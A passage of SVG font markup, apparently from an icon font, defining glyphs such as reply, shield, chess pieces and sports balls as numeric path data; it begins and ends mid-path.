0 -64 -28.7002 -64 -64s28.7002 -64 64 -64s64 28.7002 64 64s-28.7002 64 -64 64zM304 83.2002v19.2002 +c0 31.7998 -30.0996 57.5996 -67.2002 57.5996h-5c-12.2002 -5.09961 -25.7002 -8 -39.7998 -8s-27.5 2.90039 -39.7998 8h-5c-37.1006 0 -67.2002 -25.7998 -67.2002 -57.5996v-19.2002c0 -10.6006 10 -19.2002 22.4004 -19.2002h179.199 +c12.4004 0 22.4004 8.59961 22.4004 19.2002z" /> + <glyph glyph-name="reply" unicode="" +d="M8.30859 258.164l176.005 151.985c15.4053 13.3047 39.6865 2.50391 39.6865 -18.1641v-80.0537c160.629 -1.83887 288 -34.0312 288 -186.258c0 -61.4404 -39.5811 -122.309 -83.333 -154.132c-13.6533 -9.93066 -33.1113 2.5332 -28.0771 18.6309 +c45.3438 145.012 -21.5068 183.51 -176.59 185.742v-87.915c0 -20.7002 -24.2998 -31.4531 -39.6865 -18.1641l-176.005 152c-11.0703 9.5625 -11.0859 26.7529 0 36.3281z" /> + <glyph glyph-name="shield-alt" unicode="" +d="M466.5 364.3c17.7998 -7.39941 29.5 -24.8994 29.5 -44.2998c0 -221.3 -135.9 -344.6 -221.6 -380.3c-11.8008 -4.90039 -25.1006 -4.90039 -36.9004 0c-107 44.5996 -221.5 181.8 -221.5 380.3c0 19.4004 11.7002 36.9004 29.5996 44.2998l192 80 +c5.67578 2.35449 11.96 3.6543 18.4824 3.6543c6.52148 0 12.7432 -1.2998 18.418 -3.6543zM256.1 1.7002c93.7002 46.5996 172.5 156.3 175.801 307.7l-175.9 73.2998z" /> + <glyph glyph-name="tablet-alt" unicode="" horiz-adv-x="448" +d="M400 448c26.5 0 48 -21.5 48 -48v-416c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48v416c0 26.5 21.5 48 48 48h352zM224 -32c17.7002 0 32 14.2998 32 32s-14.2998 32 -32 32s-32 -14.2998 -32 -32s14.2998 -32 32 -32zM400 76v312 +c0 6.59961 -5.40039 12 -12 12h-328c-6.59961 0 -12 -5.40039 -12 -12v-312c0 -6.59961 5.40039 -12 12 -12h328c6.59961 0 12 5.40039 12 12z" /> + <glyph glyph-name="tachometer-alt" unicode="" horiz-adv-x="576" +d="M288 416c159.06 0 288 -128.94 288 -288c0 -52.7998 -14.25 -102.26 -39.0596 -144.8c-5.61035 -9.62012 -16.3008 -15.2002 -27.4404 -15.2002h-443c-11.1396 0 -21.8301 5.58008 -27.4404 15.2002c-24.8096 42.54 -39.0596 92 -39.0596 144.8 +c0 159.06 128.94 288 288 288zM288 352c-17.6699 0 -31.9902 -14.3301 -31.9902 -32s14.3301 -32 32 -32c6.66992 0 12.5098 2.51953 17.6406 6.00977l9.21973 27.6699c0.80957 2.44043 2.33984 4.41016 3.4502 6.66992c-3.74023 13.5205 -15.6104 23.6504 -30.3203 23.6504 +zM96 64c17.6699 0 32 14.3301 32 32s-14.3301 32 -32 32s-32 -14.3301 -32 -32s14.3301 -32 32 -32zM144 224c17.6699 0 32 14.3301 32 32s-14.3301 32 -32 32s-32 -14.3301 -32 -32s14.3301 -32 32 -32zM390.77 296.41c4.18066 12.5703 -2.59961 26.1699 -15.1699 30.3594 +c-12.6299 4.28027 -26.1895 -2.60938 -30.3594 -15.1699l-61.3398 -184.01c-33.4004 -2.16016 -59.9004 -29.6494 -59.9004 -63.5898c0 -11.7197 3.37988 -22.5498 8.87988 -32h110.24c5.5 9.4502 8.87988 20.2803 8.87988 32c0 19.46 -8.87012 36.6699 -22.5596 48.4102z +M405.43 239.21c5.68066 -8.94043 15.1904 -15.21 26.5703 -15.2197c17.6699 0 32 14.3301 32 32s-14.3301 32 -32 32c-3.91992 0 -7.58008 -0.94043 -11.0498 -2.23047zM480 64c17.6699 0 32 14.3301 32 32s-14.3301 32 -32 32s-32 -14.3301 -32 -32s14.3301 -32 32 -32z +" /> + <glyph glyph-name="ticket-alt" unicode="" horiz-adv-x="576" +d="M128 288h320v-192h-320v192zM528 192c0 -26.5098 21.4902 -48 48 -48v-96c0 -26.5098 -21.4902 -48 -48 -48h-480c-26.5098 0 -48 21.4902 -48 48v96c26.5098 0 48 21.4902 48 48s-21.4902 48 -48 48v96c0 26.5098 21.4902 48 48 48h480c26.5098 0 48 -21.4902 48 -48 +v-96c-26.5098 0 -48 -21.4902 -48 -48zM480 296c0 13.2549 -10.7451 24 -24 24h-336c-13.2549 0 -24 -10.7451 -24 -24v-208c0 -13.2549 10.7451 -24 24 -24h336c13.2549 0 24 10.7451 24 24v208z" /> + <glyph glyph-name="user-alt" unicode="" +d="M256 160c-79.5 0 -144 64.5 -144 144s64.5 144 144 144s144 -64.5 144 -144s-64.5 -144 -144 -144zM384 128c70.7002 0 128 -57.2998 128 -128v-16c0 -26.5 -21.5 -48 -48 -48h-416c-26.5 0 -48 21.5 -48 48v16c0 70.7002 57.2998 128 128 128h55.0996 +c22.3008 -10.2002 46.9004 -16 72.9004 -16s50.7002 5.7998 72.9004 16h55.0996z" /> + <glyph glyph-name="window-close" unicode="" +d="M464 416c26.5 0 48 -21.5 48 -48v-352c0 -26.5 -21.5 -48 -48 -48h-416c-26.5 0 -48 21.5 -48 48v352c0 26.5 21.5 48 48 48h416zM380.4 125.5l-67.1006 66.5l67.1006 66.5c4.7998 4.7998 4.7998 12.5996 0 17.4004l-40.5 40.5 +c-4.80078 4.7998 -12.6006 4.7998 -17.4004 0l-66.5 -67.1006l-66.5 67.1006c-4.7998 4.7998 -12.5996 4.7998 -17.4004 0l-40.5 -40.5c-4.7998 -4.80078 -4.7998 -12.6006 0 -17.4004l67.1006 -66.5l-67.1006 -66.5c-4.7998 -4.7998 -4.7998 -12.5996 0 -17.4004 +l40.5 -40.5c4.80078 -4.7998 12.6006 -4.7998 17.4004 0l66.5 67.1006l66.5 -67.1006c4.7998 -4.7998 12.5996 -4.7998 17.4004 0l40.5 40.5c4.7998 4.80078 4.7998 12.6006 0 17.4004z" /> + <glyph glyph-name="compress-alt" unicode="" horiz-adv-x="448" +d="M4.68555 20.6855l99.3145 99.3145l-32.9219 31.0293c-15.1201 15.1201 -4.41211 40.9707 16.9697 40.9707h112c13.2549 0 23.9521 -10.7451 23.9521 -24v-112c0 -21.3818 -25.8027 -32.0898 -40.9219 -16.9707l-31.0781 32.9707l-99.3145 -99.3145 +c-6.24707 -6.24707 -16.3789 -6.24707 -22.627 0l-25.373 25.373c-6.24707 6.24805 -6.24707 16.3799 0 22.627zM443.314 363.314l-99.3145 -99.3145l32.9219 -31.0293c15.1201 -15.1201 4.41211 -40.9707 -16.9697 -40.9707h-112c-13.2549 0 -23.9521 10.7451 -23.9521 24 +v112c0 21.3818 25.8027 32.0898 40.9219 16.9707l31.0781 -32.9707l99.3145 99.3145c6.24707 6.24707 16.3789 6.24707 22.627 0l25.373 -25.373c6.24707 -6.24805 6.24707 -16.3799 0 -22.627z" /> + <glyph glyph-name="expand-alt" unicode="" horiz-adv-x="448" +d="M212.686 132.686l-92.6855 -92.6855l32.9219 -31.0293c15.1201 -15.1201 4.41211 -40.9707 -16.9697 -40.9707h-112c-13.2549 0 -23.9521 10.7451 -23.9521 24v112c0 21.3818 25.8027 32.0898 40.9219 16.9707l31.0781 -32.9707l92.6855 92.6855 +c6.24805 6.24805 16.3799 6.24805 22.6279 0l25.3721 -25.3721c6.24902 -6.24805 6.24902 -16.3789 0 -22.6279zM235.314 251.314l92.6855 92.6855l-32.9219 31.0293c-15.1201 15.1201 -4.41211 40.9707 16.9697 40.9707h112c13.2549 0 23.9521 -10.7451 23.9521 -24v-112 +c0 -21.3818 -25.8027 -32.0898 -40.9219 -16.9707l-31.0781 32.9707l-92.6855 -92.6855c-6.24805 -6.24805 -16.3799 -6.24805 -22.6279 0l-25.3721 25.3721c-6.24902 6.24805 -6.24902 16.3789 0 22.6279z" /> + <glyph glyph-name="baseball-ball" unicode="" horiz-adv-x="496" +d="M368.5 84.0996c12.9004 -26.6992 30.2998 -50.1992 51.4004 -70.5996c-44.6006 -43 -105.101 -69.5 -171.9 -69.5c-66.9004 0 -127.5 26.5996 -172 69.7002c21.2002 20.3994 38.5996 44 51.5 70.7002l-28.7998 13.8994c-11.1006 -23 -26.1006 -43.2998 -44.2998 -61 +c-34 42.4004 -54.4004 96.1006 -54.4004 154.7s20.4004 112.3 54.4004 154.8c17.7998 -17.2998 32.5 -37.0996 43.5 -59.3994l28.6992 14.0996c-12.7998 25.9004 -30 48.9004 -50.6992 68.7998c44.5996 43.1006 105.199 69.7002 172.1 69.7002 +c67 0 127.6 -26.7002 172.2 -69.7998c-20.7998 -20 -38 -43 -50.7998 -69l28.6992 -14.1006c11 22.4004 25.8008 42.2002 43.6006 59.5c33.7998 -42.3994 54.2002 -96.0996 54.2002 -154.6c0 -58.5996 -20.5 -112.4 -54.5 -154.9c-18.1006 17.7002 -33 38 -44.1006 60.9004z +M140.2 116.1c17.2998 53.9004 14.2998 108.2 -0.700195 153.801l-30.4004 -10c13.3008 -40.2002 15.5 -87.6006 0.600586 -134zM356.5 269.5c-15 -45.5 -18 -99.7998 -0.700195 -153.8l30.5 9.7998c-14.8994 46.5 -12.5996 93.9004 0.600586 134z" /> + <glyph glyph-name="basketball-ball" unicode="" horiz-adv-x="496" +d="M212.3 437.7c-1.5 -50 -17 -95.4004 -44.7998 -131.2l-77.4004 77.4004c36 29.6992 78.4004 47.5 122.2 53.7998zM248 226l-46.2998 46.2998c37.2002 45.4004 57.5 103.8 58.7002 167.7c51.8994 -2.59961 103.1 -21.0996 145.5 -56.0996zM56.0996 349.9l77.4004 -77.4004 +c-35.7002 -27.7998 -81.2002 -43.2998 -131.2 -44.7998c6.2998 43.7998 24.1006 86.2002 53.7998 122.2zM328.3 145.7l-46.2998 46.2998l157.9 157.9c35 -42.4004 53.5 -93.6006 56.0996 -145.5c-64 -1.30078 -122.4 -21.6006 -167.7 -58.7002zM248 158l46.2998 -46.2998 +c-37.0996 -45.2998 -57.3994 -103.7 -58.7002 -167.7c-51.8994 2.59961 -103.1 21.2002 -145.5 56.0996zM439.9 34.0996l-77.4004 77.4004c35.7002 27.7002 81.0996 43.2002 131.2 44.7998c-6.2998 -43.7998 -24.1006 -86.2002 -53.7998 -122.2zM167.7 238.3 +l46.2998 -46.2998l-157.9 -157.9c-35 42.4004 -53.5 93.6006 -56.0996 145.5c63.9004 1.10059 122.3 21.5 167.7 58.7002zM283.7 -53.7002c1.59961 50 17.0996 95.5 44.7998 131.2l77.4004 -77.4004c-36 -29.6992 -78.4004 -47.5 -122.2 -53.7998z" /> + <glyph glyph-name="bowling-ball" unicode="" horiz-adv-x="496" +d="M248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM120 256c17.7002 0 32 14.2998 32 32s-14.2998 32 -32 32s-32 -14.2998 -32 -32s14.2998 -32 32 -32zM184 352c0 -17.7002 14.2998 -32 32 -32s32 14.2998 32 32 +s-14.2998 32 -32 32s-32 -14.2998 -32 -32zM232 208c17.7002 0 32 14.2998 32 32s-14.2998 32 -32 32s-32 -14.2998 -32 -32s14.2998 -32 32 -32z" /> + <glyph glyph-name="chess" unicode="" +d="M74 240l-33.9102 90.3799c-0.655273 1.74707 -1.01953 3.64551 -1.01953 5.62012c0 8.83105 7.16895 16 16 16h0.0195312h56.9102v32h-24c-4.41504 0 -8 3.58496 -8 8v16c0 4.41504 3.58496 8 8 8h24v24c0 4.41504 3.58496 8 8 8h16c4.41504 0 8 -3.58496 8 -8v-24h24 +c4.41504 0 8 -3.58496 8 -8v-16c0 -4.41504 -3.58496 -8 -8 -8h-24v-32h56.8896c0.00683594 0 0.0078125 -0.00683594 0.0146484 -0.00683594c8.83008 0 16 -7.16992 16 -16c0 -1.97461 -0.359375 -3.86621 -1.01465 -5.61328l-33.8896 -90.3799h10 +c8.83105 0 16 -7.16895 16 -16v-16c0 -8.83105 -7.16895 -16 -16 -16h-15.9404c0.142578 -44.1934 5.69141 -86.9287 15.9404 -128h-128c10.249 41.0713 15.7979 83.8066 15.9404 128h-15.9404c-8.83105 0 -16 7.16895 -16 16v16c0 8.83105 7.16895 16 16 16h10z +M247.16 -11.5801c5.24805 -2.62598 8.83984 -8.0459 8.83984 -14.3096v-22.1104c0 -8.83105 -7.16895 -16 -16 -16h-224c-8.83105 0 -16 7.16895 -16 16v22.1104c0.000976562 6.26562 3.59668 11.6855 8.84961 14.3096l23.1504 11.5801v16c0 8.83105 7.16895 16 16 16h160 +c8.83105 0 16 -7.16895 16 -16v-16zM339.93 146.2l-24.5693 20.7998c-6.94434 5.86133 -11.3438 14.6143 -11.3604 24.4004v58.5996c0 3.31152 2.68848 6 6 6h26.3896c3.31152 0 6 -2.68848 6 -6v-26h24.71v26c0 3.31152 2.68848 6 6 6h53.8105c3.31152 0 6 -2.68848 6 -6 +v-26h24.71v26c0 3.31152 2.68848 6 6 6h26.3799c3.31152 0 6 -2.68848 6 -6v-58.54c0 -0.0107422 0.0185547 -0.0126953 0.0185547 -0.0234375c0 -9.79297 -4.40918 -18.5645 -11.3486 -24.4365l-24.5996 -20.79l3.29004 -82.21h-126.721zM384 144v-32h32v32 +c0 8.83105 -7.16895 16 -16 16s-16 -7.16895 -16 -16zM503.16 -11.5801c5.24805 -2.62598 8.83984 -8.0459 8.83984 -14.3096v-22.1104c0 -8.83105 -7.16895 -16 -16 -16h-192c-8.83105 0 -16 7.16895 -16 16v22.1104c0.000976562 6.26562 3.59668 11.6855 8.84961 14.3096 +l23.1504 11.5801v16c0 8.83105 7.16895 16 16 16h128c8.83105 0 16 -7.16895 16 -16v-16z" /> + <glyph glyph-name="chess-bishop" unicode="" horiz-adv-x="320" +d="M8 160.12c0 73.3799 59.8096 181.08 112.6 225.37c-14 3.41992 -24.5996 15.5098 -24.5996 30.5098c0 17.6611 14.3389 32 32 32h64c17.6611 0 32 -14.3389 32 -32c0 -15.0498 -10.5996 -27.0898 -24.5996 -30.5098c24.3994 -20.4902 50.0693 -54.6807 70.8691 -92.5898 +l-107.89 -107.931c-1.44727 -1.44727 -2.3418 -3.44922 -2.3418 -5.65625c0 -2.20605 0.894531 -4.20508 2.3418 -5.65332l11.3105 -11.3105c1.44727 -1.44629 3.44922 -2.3418 5.65527 -2.3418c2.20703 0 4.20605 0.895508 5.6543 2.3418l100.31 100.33 +c15.96 -35.46 26.6904 -71.9492 26.6904 -102.56c0 -51.6006 -22.1396 -73.8301 -56 -84.6006v-43.5195h-192v43.5195c-33.8604 10.7705 -56 32.9609 -56 84.6006zM304 0c8.83105 0 16 -7.16895 16 -16v-32c0 -8.83105 -7.16895 -16 -16 -16h-288 +c-8.83105 0 -16 7.16895 -16 16v32c0 8.83105 7.16895 16 16 16h288z" /> + <glyph glyph-name="chess-board" unicode="" +d="M255.9 447.8v-64h-64v64h64zM0 383.83h64v-64h-64v64zM128 447.8v-64h-64v64h64zM192 191.9h64v-64h-64v64zM0 255.88h64v-64h-64v64zM383.85 447.8v-64h-64v64h64zM511.85 447.8v-64h-64v64h64zM128 191.9v-64h-64v64h64zM511.8 0h-64v64h64v-64zM511.8 128h-64v64h64 +v-64zM383.85 -64v64h64v-64h-64zM511.85 255.88h-64v64h64v-64zM128 -64v64h64v-64h-64zM0 -64v64h64v-64h-64zM255.9 -64v64h64v-64h-64zM0 127.93h64v-64h-64v64zM319.88 319.85h-64v64h64v-64zM255.88 191.85v64h64v-64h-64zM191.88 63.8496h64v-64h-64v64z +M319.88 127.85v64h64v-64h-64zM319.88 255.8v64h64v-64h-64zM319.88 63.8701h64v-64h-64v64zM64 63.9502h64v-64h-64v64zM192 319.85h-64v64h64v-64zM383.92 63.9502v64h64v-64h-64zM255.92 255.88h-64v64h64v-64zM383.92 383.83h64v-64h-64v64zM255.92 127.93h64v-64h-64 +v64zM191.92 255.88l0.0800781 -64h-64v64h63.9199zM383.84 191.88v64h64v-64h-64zM128 319.85v-64h-64v64h64zM128 127.93h64v-64h-64v64z" /> + <glyph glyph-name="chess-king" unicode="" horiz-adv-x="448" +d="M400 0c8.83105 0 16 -7.16895 16 -16v-32c0 -8.83105 -7.16895 -16 -16 -16h-352c-8.83105 0 -16 7.16895 -16 16v32c0 8.83105 7.16895 16 16 16h352zM416 288c17.6494 -0.0136719 31.9688 -14.3477 31.9688 -32.001c0 -3.32129 -0.507812 -6.52539 -1.44922 -9.53906 +l-73.0791 -214.46h-298.881l-73.0791 214.46c-0.941406 3.01367 -1.45508 6.21875 -1.45508 9.54004c0 17.6533 14.3252 31.9863 31.9746 32h160v48h-40c-4.41504 0 -8 3.58496 -8 8v48c0 4.41504 3.58496 8 8 8h40v40c0 4.41504 3.58496 8 8 8h48 +c4.41504 0 8 -3.58496 8 -8v-40h40c4.41504 0 8 -3.58496 8 -8v-48c0 -4.41504 -3.58496 -8 -8 -8h-40v-48h160z" /> + <glyph glyph-name="chess-knight" unicode="" horiz-adv-x="384" +d="M19 175.53c-11.2041 4.98145 -19 16.1963 -19 29.2393v0.0205078v137.21c0 0.0195312 -0.00292969 0.0419922 -0.00292969 0.0625c0 6.60742 2.67578 12.5957 7.00293 16.9375l9 9l-14.21 28.4199c-1.13867 2.27344 -1.79004 4.85547 -1.79004 7.56934v0.0107422 +c0 6.62305 5.37695 12 12 12h147.94c106 0 191.92 -86 191.92 -192v-192h-319.86v14.5195c0 0.0078125 -0.078125 -0.03125 -0.078125 -0.0244141c0 31.3145 18.0312 58.4512 44.2686 71.585l57.2197 28.6504c15.751 7.87695 26.5303 24.1348 26.5303 42.9297v0.00976562 +v50.3301l-22.1201 -11.0801c-6.19238 -3.09668 -10.8369 -8.78906 -12.5508 -15.6504l-9.21973 -30.6494c-2.81152 -9.35645 -9.77051 -16.9043 -18.7598 -20.5l-12.7803 -5.12012c-3.66895 -1.46777 -7.7168 -2.27246 -11.9082 -2.27246 +c-4.61621 0 -9.00586 0.979492 -12.9717 2.74219zM52 320c-11.0381 0 -20 -8.96191 -20 -20s8.96191 -20 20 -20s20 8.96191 20 20s-8.96191 20 -20 20zM368 0c8.83105 0 16 -7.16895 16 -16v-32c0 -8.83105 -7.16895 -16 -16 -16h-352c-8.83105 0 -16 7.16895 -16 16v32 +c0 8.83105 7.16895 16 16 16h352z" /> + <glyph glyph-name="chess-pawn" unicode="" horiz-adv-x="320" +d="M105.1 224c-29.3896 18.3799 -49.0996 50.7803 -49.0996 88c0 57.3994 46.6006 104 104 104s104 -46.6006 104 -104c0 -37.2197 -19.71 -69.6201 -49.0996 -88h25.0996c8.83105 0 16 -7.16895 16 -16v-32c0 -8.83105 -7.16895 -16 -16 -16h-16v-5.49023 +c0 -44 4.11035 -86.5996 24 -122.51h-176c19.8604 35.9102 24 78.5098 24 122.51v5.49023h-16c-8.83105 0 -16 7.16895 -16 16v32c0 8.83105 7.16895 16 16 16h25.0996zM304 0c8.83105 0 16 -7.16895 16 -16v-32c0 -8.83105 -7.16895 -16 -16 -16h-288 +c-8.83105 0 -16 7.16895 -16 16v32c0 8.83105 7.16895 16 16 16h288z" /> + <glyph glyph-name="chess-queen" unicode="" +d="M256 336c-30.9072 0 -56 25.0928 -56 56s25.0928 56 56 56s56 -25.0928 56 -56s-25.0928 -56 -56 -56zM432 0c8.83105 0 16 -7.16895 16 -16v-32c0 -8.83105 -7.16895 -16 -16 -16h-352c-8.83105 0 -16 7.16895 -16 16v32c0 8.83105 7.16895 16 16 16h352zM504.87 263.84 +c4.30566 -2.86816 7.11914 -7.77344 7.11914 -13.3311c0 -2.56445 -0.604492 -4.98926 -1.67969 -7.13867l-102.55 -211.37h-303.52l-102.55 211.33c-1.0752 2.14941 -1.70508 4.58008 -1.70508 7.14453c0 5.55762 2.83887 10.457 7.14453 13.3252l28.5703 16 +c7.35938 4.91016 16.8096 2.5498 22.0898 -4.54004c8.6543 -11.709 22.4922 -19.2686 38.1572 -19.2686c1.13672 0 2.26562 0.0400391 3.38281 0.119141c25.6699 1.73926 44.6699 24.7998 44.6699 50.4893c0 7.39648 6.00391 13.4004 13.4004 13.4004h38.7695 +c6.04004 0 11.6104 -3.99023 12.8604 -9.91016c4.57715 -21.7363 23.8789 -38.0752 46.9688 -38.0752s42.3936 16.3389 46.9707 38.0752c1.25 5.91016 6.86035 9.91016 12.8604 9.91016h38.7695c7.39648 0 13.4004 -6.00391 13.4004 -13.4004 +c0 -23.5293 15.7002 -45.46 38.8398 -49.75c2.95898 -0.576172 5.9541 -0.918945 9.08105 -0.918945c15.6064 0 29.4688 7.5293 38.1494 19.1494c5.37988 7.13965 14.8496 9.67969 22.29 4.67969z" /> + <glyph glyph-name="chess-rook" unicode="" horiz-adv-x="384" +d="M368 416c8.83105 0 16 -7.16895 16 -16v-176l-64 -32c0 -47.7197 1.54004 -95 13.21 -160h-282.42c11.6699 65 13.21 111.67 13.21 160l-64 32v176c0 8.83105 7.16895 16 16 16h56.0996c8.83105 0 16 -7.16895 16 -16v-48h47.9004v48c0 8.83105 7.16895 16 16 16h80 +c8.83105 0 16 -7.16895 16 -16v-48h48v48c0 8.83105 7.16895 16 16 16h56zM224 128v64c0 17.6611 -14.3389 32 -32 32s-32 -14.3389 -32 -32v-64h64zM368 0c8.83105 0 16 -7.16895 16 -16v-32c0 -8.83105 -7.16895 -16 -16 -16h-352c-8.83105 0 -16 7.16895 -16 16v32 +c0 8.83105 7.16895 16 16 16h352z" /> + <glyph glyph-name="dumbbell" unicode="" horiz-adv-x="640" +d="M104 352c13.2998 0 24 -10.7002 24 -24v-272c0 -13.2998 -10.7002 -24 -24 -24h-48c-13.2998 0 -24 10.7002 -24 24v104h-24c-4.40039 0 -8 3.59961 -8 8v48c0 4.40039 3.59961 8 8 8h24v104c0 13.2998 10.7002 24 24 24h48zM632 224c4.40039 0 8 -3.59961 8 -8v-48 +c0 -4.40039 -3.59961 -8 -8 -8h-24v-104c0 -13.2998 -10.7002 -24 -24 -24h-48c-13.2998 0 -24 10.7002 -24 24v272c0 13.2998 10.7002 24 24 24h48c13.2998 0 24 -10.7002 24 -24v-104h24zM456 416c13.2998 0 24 -10.7002 24 -24v-400c0 -13.2998 -10.7002 -24 -24 -24h-48 +c-13.2998 0 -24 10.7002 -24 24v168h-128v-168c0 -13.2998 -10.7002 -24 -24 -24h-48c-13.2998 0 -24 10.7002 -24 24v400c0 13.2998 10.7002 24 24 24h48c13.2998 0 24 -10.7002 24 -24v-168h128v168c0 13.2998 10.7002 24 24 24h48z" /> + <glyph glyph-name="football-ball" unicode="" horiz-adv-x="496" +d="M481.5 387.7c6.2998 -23.9004 13.7002 -61 14.5 -104.5l-156.6 156.8c43.5996 -0.900391 80.8994 -8.5 104.8 -14.9004c18.2002 -4.89941 32.5 -19.1992 37.2998 -37.3994zM14.5 -3.7002c-6.2998 23.9004 -13.7002 61 -14.5 104.5l156.6 -156.8 +c-43.5996 0.900391 -80.8994 8.5 -104.8 14.9004c-18.2002 4.89941 -32.5 19.1992 -37.2998 37.3994zM4.2002 164.6c22.5996 152.7 138.899 252 271.399 271.4l216.301 -216.6c-22.7002 -152.7 -139 -252 -271.5 -271.4zM321.5 288.2l-28.2998 -28.5l-28.2998 28.2998 +c-3.10059 3.09961 -8.2002 3.09961 -11.3008 0l-11.2998 -11.2998c-3.09961 -3.10059 -3.09961 -8.2002 0 -11.2998l28.2998 -28.3008l-22.5996 -22.5996l-28.2998 28.2998c-3.10059 3.10059 -8.2002 3.10059 -11.2998 0l-11.3008 -11.2998 +c-3.09961 -3.09961 -3.09961 -8.2002 0 -11.2998l28.3008 -28.2998l-22.6006 -22.6006l-28.2998 28.2998c-3.09961 3.10059 -8.2002 3.10059 -11.2998 0l-11.2998 -11.2998c-3.10059 -3.09961 -3.10059 -8.2002 0 -11.2998l28.2998 -28.2002l-28.2998 -28.2998 +c-3.10059 -3.09961 -3.10059 -8.2002 0 -11.2998l11.2998 -11.2998c3.09961 -3.10059 8.2002 -3.10059 11.2998 0l28.2998 28.2998l28.2998 -28.2998c3.10059 -3.10059 8.2002 -3.10059 11.3008 0l11.2998 11.2998c3.09961 3.09961 3.09961 8.2002 0 11.2998 +l-28.2998 28.2998l22.5996 22.6006l28.2998 -28.3008c3.10059 -3.09961 8.2002 -3.09961 11.2998 0l11.3008 11.3008c3.09961 3.09961 3.09961 8.19922 0 11.2998l-28.3008 28.2998l22.6006 22.7002l28.2998 -28.2998c3.09961 -3.10059 8.2002 -3.10059 11.2998 0 +l11.2998 11.2998c3.10059 3.09961 3.10059 8.2002 0 11.2998l-28.2998 28.2998l28.2998 28.2998c3.10059 3.10059 3.10059 8.2002 0 11.3008l-11.2998 11.2998c-3.09961 3.09961 -8.2002 3.09961 -11.2998 0z" /> + <glyph glyph-name="golf-ball" unicode="" horiz-adv-x="416" +d="M96 32h224c0 -17.7002 -14.2998 -32 -32 -32h-16c-17.7002 0 -32 -14.2998 -32 -32v-20c0 -6.59961 -5.40039 -12 -12 -12h-40c-6.59961 0 -12 5.40039 -12 12v20c0 17.7002 -14.2998 32 -32 32h-16c-17.7002 0 -32 14.2998 -32 32zM416 240 +c0 -74.2002 -39 -139.2 -97.5 -176h-221c-58.5 36.7998 -97.5 101.8 -97.5 176c0 114.9 93.0996 208 208 208s208 -93.0996 208 -208zM235.9 196.1c18.2998 0 33.0996 14.8008 33.0996 33.1006c0 14.3994 -9.2998 26.2998 -22.0996 30.8994 +c9.59961 -26.7998 -15.6006 -51.2998 -41.9004 -41.8994c4.59961 -12.7998 16.5 -22.1006 30.9004 -22.1006zM285 149.2c0 14.3994 -9.2998 26.2998 -22.0996 30.8994c9.59961 -26.7998 -15.6006 -51.2998 -41.9004 -41.8994 +c4.59961 -12.7998 16.5 -22.1006 30.9004 -22.1006c18.2998 0 33.0996 14.9004 33.0996 33.1006zM349 213.2c0 14.3994 -9.2998 26.2998 -22.0996 30.8994c9.59961 -26.7998 -15.6006 -51.2998 -41.9004 -41.8994c4.59961 -12.7998 16.5 -22.1006 30.9004 -22.1006 +c18.2998 0 33.0996 14.9004 33.0996 33.1006z" /> + <glyph glyph-name="hockey-puck" unicode="" +d="M0 288c0 53 114.6 96 256 96s256 -43 256 -96s-114.6 -96 -256 -96s-256 43 -256 96zM0 205.8c113.5 -82.3994 398.6 -82.2998 512 0v-109.8c0 -53 -114.6 -96 -256 -96s-256 43 -256 96v109.8z" /> + <glyph glyph-name="quidditch" unicode="" horiz-adv-x="640" +d="M256.5 231.2l86.7002 -109.2s-16.6006 -102.4 -76.6006 -150.1c-59.8994 -47.7002 -266.6 -34.1006 -266.6 -34.1006s3.7998 23.1006 11 55.4004l94.5996 112.2c4 4.69922 -0.899414 11.5996 -6.59961 9.5l-60.4004 -22.1006c14.4004 41.7002 32.7002 80 54.6006 97.5 +c59.8994 47.7998 163.3 40.9004 163.3 40.9004zM494.5 96.2002c44 0 79.7998 -35.7002 79.7998 -79.9004c0 -44.0996 -35.7002 -79.8994 -79.7998 -79.8994s-79.7998 35.7998 -79.7998 79.8994c0 44.1006 35.7998 79.9004 79.7998 79.9004zM636.5 417 +c5.5 -6.90039 4.40039 -17 -2.5 -22.5l-232.5 -177.9l34.0996 -42.8994c5.10059 -6.40039 1.7002 -15.9004 -6.2998 -17.6006l-58.7998 -12.3994l-86.7002 109.2l25.2998 54.5996c3.5 7.40039 13.5 8.59961 18.6006 2.2002l34.0996 -43l232.5 177.899 +c6.90039 5.40039 16.9004 4.30078 22.4004 -2.59961z" /> + <glyph glyph-name="square-full" unicode="" +d="M512 -64h-512v512h512v-512z" /> + <glyph glyph-name="table-tennis" unicode="" +d="M496.2 151.5c-64.1006 43.2002 -149.5 27.9004 -195.601 -34.2002l-211.5 211.5l56 56.1006c83.9004 84.0996 220 84.0996 303.9 0c63 -63.1006 78.7002 -155.601 47.2002 -233.4zM278.3 71.7998c-3.7002 -12.7002 -6.2998 -25.8994 -6.2002 -39.7002 +c0 -19.5 3.90039 -38.0996 11 -55.0996c-25.6992 2.7998 -50.5996 13.5996 -70.2998 33.2998l-35.7002 35.7002l-89.2998 -103.3c-7.5 -8.60059 -20.7002 -9.10059 -28.7002 -1l-53.3994 53.5c-8.10059 8.09961 -7.60059 21.2998 1 28.7998l103 89.4004l-34.5 34.5996 +c-39 39.0996 -44.6006 98.7998 -17.2998 144.1zM416 128c53 0 96 -43 96 -96s-43 -96 -96 -96s-96 43 -96 96s43 96 96 96z" /> + <glyph glyph-name="volleyball-ball" unicode="" +d="M231.39 204.52c-70.1855 -43.1172 -122.835 -111.301 -146.1 -192.199c-24.0918 22.8398 -43.4365 50.252 -56.9004 81.0996c22.8008 94.4004 89.5 174.4 180.301 216.8c13.8145 -32.4951 21.9121 -68.375 22.6992 -105.7zM194.49 338.92 +c-84 -39.5 -149 -108.4 -182.4 -191.5c-19.7998 109.3 34 212.4 125 262.2c22.8408 -20.3574 42.0732 -43.9951 57.4004 -70.7002zM382.09 173.82c-36.7021 4.46582 -71.8574 16.1094 -102.899 33.1797c-2.36035 86.3154 -37.5332 164.725 -93.5 222.72 +c47.2998 14 84.1992 10.2002 98.8994 8.5c70.2002 -66.8994 106.101 -164.6 97.5 -264.399zM257.39 164.32c49.7002 -26.8008 104 -40.8008 158.601 -40.9004c27.9346 0.173828 54.9697 3.79297 80.8994 10.4004c-7.93359 -32.9053 -22.5615 -63.5879 -42.1992 -89.9004 +c-93 -27.2998 -195.5 -9.5 -277.5 47.7998c21.9443 29.166 48.8877 53.5898 80.1992 72.6006zM159.09 64.6201c53.6006 -37.2998 144 -78.2002 256.9 -62.1006c-43.0684 -36.5068 -99.1953 -58.4424 -160.021 -58.4424c-47.2529 0 -91.4258 13.2939 -128.979 36.3428 +c6.39941 29.7998 16.8994 58.2002 32.0996 84.2002zM339.39 425.22c95.9004 -34.2998 164.601 